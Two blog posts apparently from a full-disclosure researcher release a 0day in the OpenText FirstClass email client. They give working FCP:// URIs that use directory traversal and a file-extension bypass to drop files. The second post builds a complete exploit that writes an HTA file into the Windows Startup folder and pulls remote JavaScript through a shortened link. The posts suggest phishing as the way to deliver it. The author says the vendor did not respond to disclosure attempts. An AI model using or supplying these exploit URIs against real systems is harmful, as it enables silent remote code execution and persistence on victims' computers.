k0ss security

FirstClass 0day Release (Part 2)

2011-04-06T00:00:00+00:00

Setbacks and bypasses

Upon installing the brand new version of FirstClass (v 10.009), I found that they fixed the path length issue, and I could no longer change the extension of the filename by making a very long filename. Boo! I didn’t give up, however, because most times if something seems impossible, you just need to give it more time. I had to make this work. I played around with FCP:// links, and found that you can make these links point to directories inside of the FirstClass server. For instance: FCP://user:password@fc.server.tld/Mailbox;settings.fc.

This would open the mailbox of the logged-in user, and create the settings file called settings.fc. As I messed around with launching directories within the server, I decided to try changing the settings.fc at the end of the URI to settings.bat once again, just for the hell of it.

What’s that? It worked? I didn’t even have to do the long path trick with this new version, as long as I included some random FC directory name to open at the end of the server part of the URI, I would have control of the extension once again. Now I just needed to craft an exploit out of this.

Since the settings file has a bunch of bad characters like nulls at the beginning of it that don’t seem to be allowed by the URI parser, I knew I had to find some very loosely typed language which executes on Windows by default with its registered file extension. That’s when I remembered HTA. HTA stands for HTML Application, and it uses HTML tags, but can also run Javascript/VBScript code without popping up so much as a single Are you sure? confirmation dialog for the user to agree to, as long as it was created and launched locally. PERFECT!

With this knowledge, I knew I had to craft the URI perfectly to arrange the scripting information in order to get proper code execution. Keep in mind that there are junk characters between the parts of plain-text settings, there are lots of unusable characters in URIs, and as I would soon find out, there are length limits to the username and servername in the URI. If I failed to get around any of these restrictions, the entire exploit would fail, so it was going to take a lot of careful tweaking.

Shellcoding tricks in the scripting world

After finding and removing the badchars from my crafted URL, and finding that space was very limited, I decided to use some tricks similar to those I learned while making shellcode for previous exploits on binaries written in memory unmanaged languages. First I will show the completed URI, then I will explain the steps that were used to accomplish the code execution.

fcp://<hta><script src=‘is.gd/9JR6g0’ id=“s”></script>@<body onload=(s.src=“http”%2bString.fromCharCode(58)%2bString.fromCharCode(47)
%2BString.fromCharCode(47)%2Bs.src)>/j;%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cAll%20Users\Start Menu%5cPrograms%5cStartup%5ca%2ehta

The first part,

fcp://<hta><script src=‘is.gd/9JR6g0’ id=“s”></script>

This pulls a JavaScript file from a server and includes it in the produced file. Since I had very limited space, I couldn’t fit the entire JavaScript source into the username field, and instead I used the url shortening service with the fewest characters as I could find to redirect to the JavaScript file. Also, you’ll notice that there is no http:// at the beginning of the address. This is because the characters : and / are some of the badchars that would be transformed since they were in the username field. However, in order to include a script from an external site, I needed to specify the protocol.

In order to do this, I gave the script tag an id of s and later on, I reference it.

<body onload=(s.src=”http”%2bString.fromCharCode(58)%2b
String.fromCharCode(47)%2BString.fromCharCode(47)%2Bs.src)>

This part is where I thought of previous techniques used in shellcoding, in particular egghunting. This usually means searching for a signature (egg), a pre-established sequence of bytes, through tons of junk assembly code and data and executing the shellcode next to it once we find it. Since JavaScript is an interpreted, object oriented language it’s as simple as giving that <script> tag an id of s and referencing it later in the server-name part of the URI and add the http:// part to the url to make it a valid src attribute.

It took a lot of trial and error to find all the character/length limitations and get everything working. Remember also that to allow us to arbitrarily name the settings file, we have to include a FirstClass server path, so I used /j in this example to keep it short. The character used makes no difference.

The final trick while figuring out where to put the settings file is to answer the question, “How do we get this HTA file to execute without the user being aware?” I mean, sure we can drop this file somewhere, but the user isn’t (usually) going to click some strange file they’ve never heard of. However there are some folders as you may know which will automatically launch whatever files are put into them, as soon as the computer boots up. Knowing the default location that FirstClass saves settings files to is My Documents\FirstClass\Settings\, I used directory traversal to put our HTA file into the startup folder (C:\Documents and Settings\All Users\Start Menu\Programs\Startup\) so that it will start up as soon as ANYONE logs into the computer.

%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cAll%20Users%5cStart Menu%5cPrograms%5cStartup%5ca%2ehta
=
..\..\..\..\All Users\Start Menu\Programs\Startup\a.hta

This assumes that the user is a computer administrator. If you suspect that your target is computer savvy and has created his or her account as a limited user, you can just as easily drop the file in the %userprofile%\Start Menu\Programs\Startup by specifying a settings path of:

%2e%2e%5C%2e%2e%5C%2e%2e%5CStart%20Menu%5CPrograms%5CStartup%5ca%2ehta
=
..\..\..\Start Menu\Programs\Startup\a.hta

and it will only start up when the exploited user logs in.

Deploying this would be a matter of phishing to get the user to click the link. Newer versions of FirstClass have HTML parsers which will actually execute JavaScript (believe it or not) so you could perhaps have the “clicking” be done without the user’s interaction, but I’ll leave that vector as a fun exercise for my dear reader.

Thanks for reading!

FirstClass 0day Release (Part 1)

2011-04-05T00:00:00+00:00

Intro

Hello all,and welcome to my blog. I am new to the full-disclosure world, though I have spent a lot of time finding exploits in the past. First of all, thank you very much for reading my first article. I hope you find it informative, and if you have any questions, feel free to leave me a comment.

Today I am releasing an exploit I found three months ago in the First Class email client created by the company OpenText. This exploit allows remote code to be executed against anyone using the FirstClass system, with a very small amount of user interaction. The code would be executed with the same privileges as the user who launched FirstClass. It could be tweaked so that it affects all users on Windows, but then it could have broken the exploit if the current user didn’t have administrator privileges.

About the Bug

It all started when I learned that you could create a settings file for someone by having them click on a specially formatted FCP:// URI link. It would look like FCP://user:password@fc.server.tld;settings.fc and would produce a settings.fc file in the application’s settings folder that looked like this in a hex editor:

Unsanitized User Input in File

From that, we can see that we can set a username and password, both of which would be written into the settings file. The password is not put into the settings file in plain-text for obvious security reasons, but the username and server name is.

Arbitrary File Name

We can also see that the server name is ended with a semicolon, and what follows is the desired name of the settings file. I played around with this part the most, and found that directory traversal is possible, so something like ;../settings.fc would escape the current folder used to store the settings files, and put it in the folder above it. I tried to change the name of the file to settings.exe as a test. I had no luck since FirstClass checks to make sure that the file name ends in .FC and if not, it appends .FC to the file names for security and functionality purposes.

File Name Filter Bypass

While experimenting with different file names, I tried making increasingly large settings file names, and noticed that with a certain length, the .FC extension that FirstClass tries to append was not being appended! So next, I gave the settings file a name just long enough to fit the filename along with the extension .exe, and then I appended .fc to the end of it to satisfy FirstClass and its extension check. To my excitement, the .exe file extension stayed, so I now could control the extension/type of file created by FirstClass.

So now that I knew that the username and server name are stored in plain-text within the settings file, along with how I could set the file extension to whatever I wanted and use directory traversal to place it wherever I wanted, I tested creating an arbitrary file outside of the main settings directory. Here is the link I used to trigger the vulnerability and write an executable file to another directory:

FCP://%22%0d%0acalc%0d%0a@fc.server.tld;..\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bat

This just pops the calculator up, and it isn’t very stealthy as you will get a large command prompt which opens before the intended program (calc) opens. I’ll improve the exploit in the next post.

Disclosure Process

Prior to deciding to publish the vulnerability and how someone can exploit it, I contacted OpenText twice via every email address they’ve given on their website, as well as some default security/bug email addresses that most companies have set up (security@[company_name], etc). I gave them a week to respond each time, and they chose not to, so I’ve chosen to release it since this was pretty easy to find.